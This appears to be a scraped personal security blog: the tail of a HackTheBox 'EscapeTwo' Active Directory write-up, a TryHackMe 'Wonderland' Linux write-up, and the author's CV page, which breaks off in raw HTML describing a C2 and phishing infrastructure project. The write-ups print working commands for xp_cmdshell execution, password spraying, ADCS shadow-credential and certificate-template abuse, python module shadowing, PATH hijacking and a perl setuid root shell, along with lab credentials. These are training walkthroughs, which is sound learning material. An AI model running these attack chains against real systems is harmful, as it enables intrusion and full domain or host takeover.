michael sAMAccountName: ryan sAMAccountName: oscar sAMAccountName: sql_svc sAMAccountName: rose sAMAccountName: ca_svc This is so important, these user/service accounts are the ones we will be targeting later in PrivEsc and for the foothold.\nLDAP Groups # bashldapsearch -x -H ldap://DC01.sequel.htb -D \u0026#34;rose@sequel.htb\u0026#34; -w \u0026#39;KxEPkKe6R8su\u0026#39; -b \u0026#34;DC=sequel,DC=htb\u0026#34; \u0026#34;(objectClass=group)\u0026#34; | grep \u0026#34;cn:\u0026#34; Which printed out the groups existing on the machine. Just a good practice nothing to retrieve just yet.\nSMB # SMB is always my go-to target when I\u0026rsquo;m facing a Windows machine, since there\u0026rsquo;s a high chance I get good intel from the shares (if any exist :D)\nbashnxc smb $target -u \u0026#39;rose\u0026#39; -p \u0026#39;KxEPkKe6R8su\u0026#39; --shares Users Share # bashsmbclient -U \u0026#39;rose\u0026#39; //$target/Users Going to the Default directory\nThen I downloaded all the NTUSER.DAT files because according to this, NTUSER.DAT is a windows generated file which contains the information of the user account settings and customizations. So that was enough for me to go and discover what could be obtained from these.\nbashsmb: \\Default\\\u0026gt; mget NTUSER.DA* We\u0026rsquo;ll keep those and move further before diving into anything more deeply. Rabbit holes ahead.\nAccounting Department Share # bashsmbclient -U \u0026#39;rose\u0026#39; //$target/Accounting\\ Department This was the first rabbit hole for me. I kept searching withing the directories and literally overlooked some clear-text creds. So I did what? Went back to t hose NTUSER.dat files and went on and on with the analysis of those files. For like, hours? But anyway here is the shit I found before finding the good looking creds:\nAfter And here are the creds in the sharedStrings xml file:\nThen I proceeded further to brute force that smb service to get some valid creds before jumping into that MSSQL account:\nbashnxc smb $target -u users.txt -p pass.txt Which I thought was useless at this point. But we\u0026rsquo;ll see how this is a a key thing too reconstruct the attack for the foothold.\nMSSQL # With the sa user credentials we found, let\u0026rsquo;s connect to the MSSQL server :\nbashimpacket-mssqlclient \u0026#39;sa:MSSQLP@ssw0rd!@10.10.11.51\u0026#39; bashSQL (sa dbo@master)\u0026gt; select user_name() --- dbo SQL (sa dbo@master)\u0026gt; select is_srvrolemember(\u0026#39;sysadmin\u0026#39;) - 1 SQL (sa dbo@master)\u0026gt; SELECT name FROM master.sys.tables; --------------------- spt_fallback_db spt_fallback_dev spt_fallback_usg spt_monitor MSreplication_options This showed only system tables, nothing not ordinary so we should proceed further to xp_cmdshell:\nbashEXEC sp_configure \u0026#39;show advanced options\u0026#39;, 1 RECONFIGURE; EXEC sp_configure \u0026#39;xp_cmdshell\u0026#39;, 1; RECONFIGURE; EXEC xp_cmdshell \u0026#39;whoami\u0026#39;; output -------------- sequel\\sql_svc NULL So we can now execute commands through the MSSQL server\nA simple File System enumeration and we find the SQL2019 directory.\nAt this point I repeated exactly everything we did with the user rose, smb, evilwin-rm, LDAP again, MSRPC. And it led to nothing.\nFoothold - User flag # Given the valid credentials of oscar user which I thought were useless, we can indeed brute force the smb service with the valid creds we had from the beginning WITH THE PASSWORD WE JUST FOUND. So after adding the new entries to the users and passwords files we run:\nbash nxc smb 10.10.11.51 --rid-brute -u users.txt -p pass.txt So now collecting the names and performing a password spraying attack on them using:\nbashnxc smb $target -u names.txt -p \u0026#39;\u0026lt;sql_svc-password\u0026gt;\u0026#39; Now evilwin-rm works and we get the user flag:\nbashevil-winrm -i 10.10.11.51 -u ryan -p \u0026#39;password\u0026#39; User pwned. Privilege Escalation # Once we have access with evilwin-rm, I tried the things I know to enumerate a Windows machine, SAM database, LSASS, hives\u0026hellip;etc nothing worked. So after searching A LOT, with no knowledge in AD, Bloodhound came in. Which is a tool that identifies attack paths and relationships in an AD environment and builds up an attack vector maybe? The description alone was interesting enough for me to get it asap. So let\u0026rsquo;s get it to work using this guide. Once it is set, we have two ways to do this:\nWe can transfer a binary known as SharpHound.exe onto the target, execute it, then transfer the .json files back to our kali box and then upload them into bloodhound. For now, tired enough, I\u0026rsquo;ll just use bloodhound-python \u0026#x1f604;\nbashbloodhound-python -c All -u ryan -p \u0026lt;password\u0026gt; -d sequel.htb -ns 10.10.11.51 For the HACKER* accounts I supposed they were some noise coming from other users on the network so forget about it. Let\u0026rsquo;s focus on CA_SVC and that permission we have over it WriteOwner CA means certificate authority, the name in itself, the permissions we have in the context of ryan is enough for us to go this way. But it\u0026rsquo;s an opportunity to know more about AD.\nADCS # There is this great paper about ADCS, background, and ways to exploit. A must read, simply.\nActive Directory security has had a huge surge in interest over the last several years. While several aspects of Active Directory have received thorough attention from a security perspective, one area that has been relatively overlooked is Active Directory Certificate Services (AD CS). AD CS is Microsoft’s PKI implementation that integrates with existing Active Directory forests, and provides everything from encrypting file systems, to digital signatures, to user authentication (a large focus of this paper), and more. While AD CS is not installed by default for Active Directory environments, from our experience it is widely deployed.\nADCS (Active Directory Certificate Services) is a Microsoft service that provides public key infrastructure (PKI) for an Active Directory (AD) environment. It is used to manage digital certificates, which help secure communications and authenticate users, computers, and services within a network. Some of its role are:\nIssuing Certificates: ADCS can issue digital certificates for a variety of purposes, such as user authentication, email encryption, code-signing, and secure communications (SSL/TLS). (pretty basic like any other service that issues certificates) Certificate Authorities (CA): The one that issues certificates based on user or computer information stored in AD. Certificate Templates: These are predefined configurations in ADCS that define what kind of certificates can be issued, how they are validated, and the scope of their use. While researching, the ones that really got my attention were: The templates as they are predefined configurations, some any misconfiguration is a plus for us. Shadow creds.\nCertificate Template Access Control exploitation.\nExploitation # Personally I fell into many rabbit holes due to the bloodhound suggestions in the Abuse section. I was amazed by the tool since it\u0026rsquo;s my first time running it. But after hours, I found my way.\nStep 1: Change ownership of ca_svc Object # Well we have WriteOwner, we could take ownership of this object and get Full Control over the CA configuration, compromise the Certificate Authority and abuse the templates that are associated with privileged users .\nbashbloodyAD --host \u0026#39;10.10.11.51\u0026#39; -d \u0026#39;sequel.htb\u0026#39; -u \u0026#39;ryan\u0026#39; -p \u0026#39;password\u0026#39; set owner \u0026#39;ca_svc\u0026#39; \u0026#39;ryan\u0026#39; Which upon success prints out:\nStep 2: Grant Full Control rights # bashimpacket-dacledit -action \u0026#39;write\u0026#39; -rights \u0026#39;FullControl\u0026#39; -principal \u0026#39;ryan\u0026#39; -target \u0026#39;ca_svc\u0026#39; \u0026#39;sequel.htb\u0026#39;/\u0026#34;ryan\u0026#34;:\u0026#34;password\u0026#34; \u0026lt;SNIP\u0026gt; [*] DACL backed up to dacledit-20250227-135446.bak [*] DACL modified successfully! Step 3: # We will be performing Shadow Credentials attack to get an NT hash of the ca_svc account.\nbashcertipy-ad shadow auto -u \u0026#39;ryan@sequel.htb\u0026#39; -p \u0026#34;password\u0026#34; -account \u0026#39;ca_svc\u0026#39; -dc-ip \u0026#39;10.10.11.51\u0026#39; Step 4: Finding vulnerable templates # The name is fishy, Allow Enroll for domain admins, enterprise admins and Cert publishers AKA us with the user ryan. So this is our target template. DunderMifflinAuthentication\nStep 5: Updating the Template # bashKRB5CCNAME=$PWD/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -dc-ip 10.10.11.51 -target dc01.sequel.htb \u0026lt;SNIP\u0026gt; [*] Updating certificate template \u0026#39;DunderMifflinAuthentication\u0026#39; [*] Successfully updated \u0026#39;DunderMifflinAuthentication\u0026#39; Step 6: Getting verified # bashcertipy-ad req -u ca_svc -hashes \u0026#39;hash\u0026#39; -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -debug \u0026lt;SNIP\u0026gt; [*] Saved certificate and private key to \u0026#39;administrator_10.pfx\u0026#39; Step 7: Dumping admin NT hash # bashcertipy-ad auth -pfx administrator_10.pfx -domain sequel.htb Step 8: PtH through evilwin-rm # Such a tiring, rewarding and fun machine! Rooted ","date":"20 July 2025","externalUrl":null,"permalink":"/writeups/htb-escapetwo/","section":"Writeups","summary":"Easy-rated HackTheBox Active Directory Lab","title":"HackTheBox EscapeTwo","type":"writeups"},{"content":"","date":"20 July 2025","externalUrl":null,"permalink":"/tags/kerberos/","section":"Tags","summary":"","title":"Kerberos","type":"tags"},{"content":"","date":"20 July 2025","externalUrl":null,"permalink":"/tags/password-spraying/","section":"Tags","summary":"","title":"Password-Spraying","type":"tags"},{"content":"","date":"20 July 2025","externalUrl":null,"permalink":"/tags/shadow-credentials/","section":"Tags","summary":"","title":"Shadow-Credentials","type":"tags"},{"content":"","date":"20 July 2025","externalUrl":null,"permalink":"/tags/write-owner/","section":"Tags","summary":"","title":"Write-Owner","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/cap_setuid/","section":"Tags","summary":"","title":"Cap_setuid","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/ffuf/","section":"Tags","summary":"","title":"Ffuf","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/file-transfer/","section":"Tags","summary":"","title":"File-Transfer","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/gtfobins/","section":"Tags","summary":"","title":"Gtfobins","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/linpeas/","section":"Tags","summary":"","title":"Linpeas","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/linux-capabilities/","section":"Tags","summary":"","title":"Linux-Capabilities","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/module-shadowing/","section":"Tags","summary":"","title":"Module-Shadowing","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/nmap/","section":"Tags","summary":"","title":"Nmap","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/perl/","section":"Tags","summary":"","title":"Perl","type":"tags"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/category/tryhackme/","section":"Category","summary":"","title":"Tryhackme","type":"category"},{"content":" Kill Chain # TL;DR Overall it was a fun box. Pretty basic enumeration and exploitation techniques we just have to keep up with the a bit long attack vector. Before diving into the walk-through here\u0026rsquo;s a summary of some of the techniques we\u0026rsquo;ll cover shortly:\nThe enumeration didn\u0026rsquo;t have anything complicated: basic nmap scan, few fuzzing and we find some cleartext credentials that\u0026rsquo;ll ssh us into the machine as a regular user. The user flag was in a very strange directory (as the comments stated as well) To get to root, we\u0026rsquo;ll be doing some lateral movement as well. from the foothold as Alice we\u0026rsquo;ll exploit a basic Module Shadowing to gain access to rabbit. From there, we\u0026rsquo;ll find a binary with a SUID bit that we\u0026rsquo;ll use to gain access to hatter account through a PATH Hijacking. Finally, for root, back to the basics after some manual inspection, linpeas.sh (after File transferring it to the target) shows CAP_SETUID available for the Perl interpreter! Enumeration # bashsudo sh -c \u0026#39;echo \u0026#34;\u0026lt;IP\u0026gt; wonderland.thm\u0026#34; \u0026gt;\u0026gt; /etc/hosts\u0026#39; Nmap # bashnmap wonderland.thm -sV -sC -Pn -T4 -oN def-scripts-scan -vv PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe20sKMgKSMTnyRTmZhXPxn+xLggGUemXZLJDkaGAkZSMgwM3taNTc8OaEku7BvbOkqoIya4ZI8vLuNdMnESFfB22kMWfkoB0zKCSWzaiOjvdMBw559UkLCZ3bgwDY2RudNYq5YEwtqQMFgeRCC1/rO4h4Hl0YjLJufYOoIbK0EPaClcDPYjp+E1xpbn3kqKMhyWDvfZ2ltU1Et2MkhmtJ6TH2HA+eFdyMEQ5SqX6aASSXM7OoUHwJJmptyr2aNeUXiytv7uwWHkIqk3vVrZBXsyjW4ebxC3v0/Oqd73UWd5epuNbYbBNls06YZDVI8wyZ0eYGKwjtogg5+h82rnWN | 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHH2gIouNdIhId0iND9UFQByJZcff2CXQ5Esgx1L96L50cYaArAW3A3YP3VDg4tePrpavcPJC2IDonroSEeGj6M= | 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsWAdr9g04J7Q8aeiWYg03WjPqGVS6aNf/LF+/hMyKh 80/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Follow the white rabbit. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Okay then let\u0026rsquo;s follow the white rabbit. To fuzzing now. Normally at this point we like to leave a UDP scan to run in the background or a full ports TCP scan and proceed further in our enumeration because nmap only scans the first top 1000 ports. We could possibly miss something if we only check those ports. For this machine the scan lead to nothing so you should step over that part and think about it for the next machines \u0026#x1f604;.\nFuzzing # Subdomains/Vhosts # The scan for subdomains/Vhosts lead to nothing for this box. So we move on. (For the command below, you should consider a filter of your own with ffuf because we\u0026rsquo;ll get lots of irrelevant stuff)\nbash$ffuf -w \u0026lt;wordlist.txt\u0026gt;:FUZZ -u http://wonderland.thm -c -H \u0026#39;Host: FUZZ.wonderland.thm\u0026#39; Directories # bash$ffuf -w \u0026lt;wordlist.txt\u0026gt;:FUZZ -u http://wonderland.thm/FUZZ -c -v The command above will return the following directories: The /img directory was also clear to find when inspecting the home page.\nContaining the following files:\nLooking for fuzzing the other sub directories we find the following pattern: Intuitively, checking the source code of every directory we find, we stumble upon what seems to be Clear-text Credentials of user Alice: Foothold/user flag - Alice # Since for now we didn\u0026rsquo;t find any login portal, ssh is the only way we could possibly gain a foothold. Which was successful!\nOkay root flag file in the home directory? Strange. How to deal with strange? Be even more strange:\nUser Owned User owned! Let\u0026rsquo;s move on.\nLateral Movement # 2nd User - Rabbit # bashfind / -perm -4000 2\u0026gt;/dev/null bashfind / -perm -2000 2\u0026gt;/dev/null Nothing in here.\nAt this point, we normally look for kernel exploit or a critical kernel vulnerability (Which is also done right after gaining foothold at the machine.) which also lead to nothing in this machine.\nThe command below tells us what binaries we can run as sudoers (if misconfigured):\nbash$sudo -l Okay, if we find a way to exploit the walrus*.py file and combine it with sudo command as rabbit user, we could get a shell as rabbit. Let\u0026rsquo;s enumerate further.\nRunning the python script and checking the source code, we found nothing BUT thee first line: This will lead to module shadowing, which is exploiting the way python imports modules, tricking the interpreter to import a local version of the random module. This is due to the random module is a .py file not a precompiled binary(built-in). Here\u0026rsquo;s some resources to dive more into that vulnerability:\nbash$echo \u0026#34;import os;os.system(\u0026#39;/bin/sh\u0026#39;)\u0026#34; \u0026gt; random.py $ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 3rd User - Hatter # Intuitively checking the rabbit\u0026rsquo;s home directory: Alright, no strings command, no binwalk, no ltrace, no strace. we gotta transfer this file to our local machine.\nFile Transfer # This can be done using many methods. We could use scp tool which is based on ssh, simple base64 encoding, or using a python HTTP server. BUT, in our case, the most efficient and quick way is setting up a python HTTP server and download the file with curl/wget. This is because we have access to the python interpreter and in order to use scp, we will need to add an ssh key for user rabbit.\nHere\u0026rsquo;s how we\u0026rsquo;re going to do it:\nbashcompromized-host$cd /home/rabbit compromized-host$python3 -m http.server bashattacking-machine$wget http://target-ip:8000/teaParty Okay, no need to debug or anything, we got something interesting:\nbash/bin/echo -n \u0026#39;Probably by \u0026#39; \u0026amp;\u0026amp; date --date=\u0026#39;next hour\u0026#39; -R Here\u0026rsquo;s why this line of code might be vulnerable: the one-liner uses non relative path for the date command. So if thee system relies of the PATH variable to execute the command, we might alter the PATH variable and point it to a malicious binary of our choice, and since teaParty has SUID bit set, we can move forward to the next user. Here we go:\nbashcompromized-host$echo \u0026#39;#! /bin/bash\\n/bin/sh\u0026#39; \u0026gt; /tmp/date # You can choose the home directory not the /tmp. compromized-host$ compromized-host$chmod +x /tmp/date compromized-host$export PATH=/tmp:$PATH compromized-host$./teaParty Now with the cleartext credentials on the home directory we ssh into the server with hatter user.\nPrivilege Escalation # After getting the linpeas.sh script on the machine using one of the methods we. We get interesting vulnerable stuff: Traditionally, a Linux process is either privileged (running as root) or unprivileged. Privileged processes are not subject to kernel permission checks, and thus have full power over a system. A capability is a distinct and independent privilege that can be used by a process to bypass certain permission checks. Capabilities were first introduced in Linux 2.2, and several more were added in later versions. They are usually set on executable files and are automatically granted to the process when a file with a capability is executed. Capabilities essentially divide the power of the root user into separate privileges, which improves security by limiting the access an attacker would gain by exploiting or abusing a service\nSo, i simple perl script that sets the hatter user ID to 0 will bypass all the privileges checking since the process will have that specific capability. Here\u0026rsquo;s a script i found on GTFObins.\nRoot Flag # bash/usr/bin/perl5.26.1 -e \u0026#39;use POSIX qw(setuid); POSIX::setuid(0); exec \u0026#34;/bin/sh\u0026#34;;\u0026#39; ","date":"19 July 2025","externalUrl":null,"permalink":"/writeups/thm-wonderland/","section":"Writeups","summary":"Medium-rated TryHackMe Linux Lab.","title":"TryHackMe - Wonderland","type":"writeups"},{"content":"","date":"19 July 2025","externalUrl":null,"permalink":"/tags/web-enumeration/","section":"Tags","summary":"","title":"Web-Enumeration","type":"tags"},{"content":" Introduction # Taha Marouani, a persistent, serious and ambitious Telecommunications Engineering student.\nA self-learner who\u0026rsquo;s dedicating his time to focus on what really matters: Touching grass, making a change, and developing a solid career.\nArmed with passion for Cybersecurity, Philosophy and Books, I\u0026rsquo;m finding my purpose through this non-sense by learning.\nAcademic Journey # \u003c?xml version=\"1.0\" ?\u003e \u003c!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'\u003e Engineering Degree in Telecommunications 2024-2027 With a strong focus on Signal Processing, Telecommunications, and Physics, I study the engineering principles behind how information is transmitted, processed, and received, contributing to the advancement of modern communication infrastructures. Operating Systems Linux \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Cisco Packet Tracer \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Huawei eNSP Bash \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e radio_signal [#1026] Created with Sketch. Networking C C++ C# .NET Node.js Next.js React \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e National Entrance Exams for Engineering School 2024-2027 As a PTSI student within the CPGE program, I underwent an intensive and rigorous scientific training focused on mathematics, physics, and engineering sciences. This was a very rewarding journey as it enhanced my analytical thinking, problem-solving abilities, and capacity to work under pressure (lots of pressure), all while building a solid foundation for advanced studies in engineering having the most important skills as an engineer. \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Physics \u003c?xml version=\"1.0\" ?\u003e \u003c!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'\u003e Maths \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Chemistry \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Machanics \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Electronics Python \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Problem Solving \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Critical Thinking \u003c?xml version=\"1.0\" ?\u003e \u003c!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'\u003e Engineering \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Work under pressure \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Baccalaureat Degree with Honors 2020 Professional Experience # Disclaimer Due to hosting costs, I occasionally put down the AI-related projects. I am using any cloud provider\u0026rsquo;s free tier so I am saving costs to test and benchmark any current project.\nIf you need to see a project in action, you can ping me to host it for you in no time.\nODDO BHF Tunis - Vulnerability Management Intern Summer 2025 Engineered a multi-agents AI system for an internal Vulnerabilities Operations Center and Risk Management. Built a production-ready Agentic RAG system for internal operations. Built an AI-Augmented Kill Chain Detection system, to predict and remediate against advanced threats. View it in action ↗ Ghrab VOC. View the Codebase ↗ RAG \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e AI Management \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Agentic AI \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\r179\rAgentic RAG \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Multi-Agent \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Agentic Systems \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Benchmarking \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Vulnerability Management Freelance - Security Consulting Sep 2025 - Present Conducted white-box and black-box penetration tests of small business networks comprising 10–20 endpoints per VLAN. Assessed network segmentation, firewall rules and Wi-Fi security to identify unauthorized access paths and configuration weaknesses. Identified excessive privileges and access-control issues across cloud and on-premises environments, providing prioritized remediation guidance. Reviewed application deployments and CI/CD pipelines for exposed secrets, insecure permissions, misconfigurations and unsafe deployment practices. RAG \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e AI Management \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Agentic AI \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\r179\rAgentic RAG \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Multi-Agent \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Agentic Systems \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Benchmarking \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Vulnerability Management BIAT IT - SOC \u0026amp; CTI Internship Summer 2025 Created an on-premise Open Source SOC Lab: Wazuh, TheHive, MISP, Cortex. Automated the deployment of different components using Docker containers. Reviewed and enhanced Threat Intelligence reports of previously filtered incidents. Studied and analyzed XDR/NDR logs to trace lateral movement attempts. Analyzed recent severe alerts and enhanced the final provided report. Performed a Threat Hunt based on traces from a critical recent incident. The Open Source on-premise, SOC Architecture I built. SOC \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Firewall Wazuh \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e IDS \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\r179\rIPS \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e The Hive \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e MISP \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Cortex \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e SIEM \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e SOAR \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Icon_24px_MicrosoftAd_Color Active Directory Windows \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Threat Hunting \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Threat Intelligence \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Security Operations \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e logs Log Analysis CTF Author \u0026amp; Infrastructure Maintainer March 2025 - Now Co-founded Securinets ENIT, the local branch of the Tunisian national cybersecurity organization. Maintained and orchestrated 2 national CTFs and 2 local CTFs serving over 200 teams with 0 downtime. Authored 15+ DFIR, Reverse Engineering and Pwn tasks. Optimized CI/CD and GitHub workflows for the repositories of the CTFs to manage collaboration between the authors. Cat The Flag 2.0: Second edition of Securinets ENIT National CTF \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e flag CTF Orchestration \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Infrastructure Cloud (GCP/AWS) \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e High Availability Reverse Engineering \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e Binary Exploitation \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e DFIR \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e Pwn GitHub \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e cicd\rCI/CD \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e Automation \u003c?xml version=\"1.0\" encoding=\"iso-8859-1\"?\u003e DevOps Workflows Team Collaboration Scalability Projects # \u003c?xml version=\"1.0\" ?\u003e \u003crect height=\"9\" width=\"22\" x=\"2\" y=\"53\"/\u003e\u003crect height=\"2\" width=\"23\" x=\"31\" y=\"25\"/\u003e\u003cpath d=\"M43,15V2H26V6L22,9l4,1v5ZM31.707,7.293,34,9.58594l4.293-4.293L39.707,6.707l-5,5a.99963.99963,0,0,1-1.41406,0l-3-3Z\"/\u003e\u003cpath d=\"M42,56v6h8V56a3.98734,3.98734,0,0,0-2.24371-3.57751,3,3,0,1,0-3.51258,0A3.98734,3.98734,0,0,0,42,56Z\"/\u003e\u003cpath d=\"M59.75629,52.42249a3,3,0,1,0-3.51258,0A3.98734,3.98734,0,0,0,54,56v6h8V56A3.98734,3.98734,0,0,0,59.75629,52.42249Z\"/\u003e\u003cpath d=\"M38,56a3.98734,3.98734,0,0,0-2.24371-3.57751,3,3,0,1,0-3.51258,0A3.98734,3.98734,0,0,0,30,56v6h8Z\"/\u003e\u003cpath d=\"M30,24H16.62048a4.00006,4.00006,0,1,0-5.241,0H9.49622A4.49619,4.49619,0,0,0,5,28.49622V38H8V29.91418A2.38053,2.38053,0,0,1,9,28V52h4.5V38h1V52H19V27H30Z\"/\u003e\u003c/svg\u003e\u003c/span\u003e \u003c/div\u003e \u003cdiv class=\"block p-6 rounded-lg shadow-2xl flex-1 ms-6 mb-10 break-words\"\u003e \u003cdiv class=\"flex justify-between\"\u003e \u003ch2 class=\"mt-0\"\u003eAdvanced OPSEC-compliant and Resilient C2 Infrastructure for Red Team Operations\u003c/h2\u003e \u003ch3 class=\"\"\u003e \u003cspan class=\"flex cursor-pointer\"\u003e \u003cspan class=\"rounded-md border border-primary-400 px-1 py-[1px] text-xs font-normal text-primary-700 dark:border-primary-600 dark:text-primary-400\"\u003e current project \u003c/span\u003e \u003c/span\u003e \u003c/h3\u003e \u003c/div\u003e \u003cdiv class=\"mb-6\"\u003e \u003ch4 id=\"typeit-2757827e7cc046cad3032ff20e65a56f\"\u003e\u003c/h4\u003e \u003cscript\u003e document.addEventListener(\"DOMContentLoaded\", function () { new TypeIt(\"#typeit-2757827e7cc046cad3032ff20e65a56f\", { strings: [\"Infra Kes7a: Academic Keystone Project.\"], speed: 5 , lifeLike: false , startDelay: 0 , breakLines: true , waitUntilVisible: true , loop: false }).go(); }); \u003c/script\u003e \u003cul\u003e \u003cli\u003eEngineered a resilient, fault-friendly and reliable C2 architecture for long and short red team engagements.\u003c/li\u003e \u003cli\u003eUsed and managed resources from multiple cloud providers (AWS, GCP, Digital Ocean and Cloudflare) to craft a multi-cloud infrastruccture.\u003c/li\u003e \u003cli\u003eUsed domain fronting for new network-level blending in and evasion.\u003c/li\u003e \u003cli\u003eDesigned well hardened redirectors to not leak informations about our stack in-use.\u003c/li\u003e \u003cli\u003eSetup Mythic C2 with HTTP, HTTPx and DNS malleable profiles for interacting with the implant.\u003c/li\u003e \u003cli\u003eDesigned fail-over domains going through multiple cloud providers' instances to avoid single points of failure.\u003c/li\u003e \u003cli\u003eDesigned an advanced phishing infrastructure made for fully undetected Initial Access.\u003c/li\u003e \u003cli\u003eAnd much 